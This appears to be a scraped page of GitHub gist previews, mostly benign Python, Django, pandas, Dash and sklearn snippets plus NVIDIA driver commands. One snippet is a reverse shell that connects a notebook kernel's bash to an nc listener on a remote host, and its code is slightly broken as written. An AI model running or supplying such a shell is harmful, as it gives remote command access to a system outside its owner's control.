This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Very simple HTTP server in python for logging requests | |
Usage:: | |
./server.py [<port>] | |
""" | |
from http.server import BaseHTTPRequestHandler, HTTPServer | |
import logging | |
class S(BaseHTTPRequestHandler): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://www.blinkist.com/en/books/5-gears-en | |
https://www.blinkist.com/en/books/5-levels-of-leadership-en | |
https://www.blinkist.com/en/books/5-voices-en | |
https://www.blinkist.com/en/books/7-business-habits-that-drive-high-performance-en | |
https://www.blinkist.com/en/books/7-strategies-for-wealth-and-happiness-en | |
https://www.blinkist.com/en/books/10-days-to-faster-reading-en | |
https://www.blinkist.com/en/books/10-percent-happier-en | |
https://www.blinkist.com/en/books/12-en | |
https://www.blinkist.com/en/books/12-rules-for-life-en | |
https://www.blinkist.com/en/books/13-things-mentally-strong-parents-dont-do-en |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# The following class would correspond to a Django ViewSet. Nevertheless, you can use any Django framework of your | |
# choice or not even a framework at all. | |
# What I wanted to share with the world is how to convert an existint tree-like SQL table to JSON format, which | |
# is way friendlier with our front-end friends. | |
from django.db import connection | |
from rest_framework import viewsets | |
from rest_framework.permissions import IsAuthenticated | |
from rest_framework.response import Response |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def reduce_mem_usage(df, verbose=True): | |
numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64'] | |
start_mem = df.memory_usage().sum() / 1024**2 | |
for col in df.columns: | |
col_type = df[col].dtypes | |
if col_type in numerics: | |
c_min = df[col].min() | |
c_max = df[col].max() | |
if str(col_type)[:3] == 'int': | |
if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Option 1: Pandas | |
import pandas as pd | |
def apply_pipeline(df, categorical_columns, numerical_columns): | |
''' | |
One Hot Encoding to categorical_columns | |
Fill missing values tonumerical_columns | |
''' | |
for cat_col in categorical_columns: | |
df = pd.concat([df, pd.get_dummies(df[cat_col], prefix=cat_col)],axis=1) | |
df.drop([cat_col],axis=1, inplace=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On host run `nc -nvlp [PORT]` | |
# Then run this snippet in an internet-enabled kernel, and you will get interactive bash inside the kernel, on the host machine. | |
hostname = 0.0.0.0 # Hostname/IP of your server | |
port = 1337 # Port must be open | |
open('shell.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'.format(hostname, port) | |
import subprocess | |
subprocess.Popen(["python", "shell.py"]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import dash | |
import dash_core_components as dcc | |
import dash_html_components as html | |
import pandas as pd | |
import plotly.graph_objs as go | |
from dash.dependencies import Input, Output | |
app = dash.Dash() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from sklearn.tree import _tree | |
def tree_to_code(tree, feature_names): | |
tree_ = tree.tree_ | |
feature_name = [ | |
feature_names[i] if i != _tree.TREE_UNDEFINED else "undefined!" | |
for i in tree_.feature | |
] | |
print ("def tree({}):".format(", ".join(feature_names))) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
### Nvidia installation reference: https://gist.github.com/wangruohui/df039f0dc434d6486f5d4d098aa52d07#install-nvidia-graphics-driver-via-apt-get | |
sudo apt-get purge nvidia* | |
# Note this might remove your cuda installation as well | |
sudo apt-get autoremove | |
# Recommended if .deb files from NVIDIA were installed | |
# Change 1404 to the exact system version or use tab autocompletion |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np, pandas as pd | |
import glob, re | |
dfs = { re.search('/([^/\.]*)\.csv', fn).group(1):pd.read_csv(fn) for fn in glob.glob('../input/*.csv')} | |
print('data frames read:{}'.format(list(dfs.keys()))) | |
print('local variables with the same names are created.') | |
for k, v in dfs.items(): locals()[k] = v |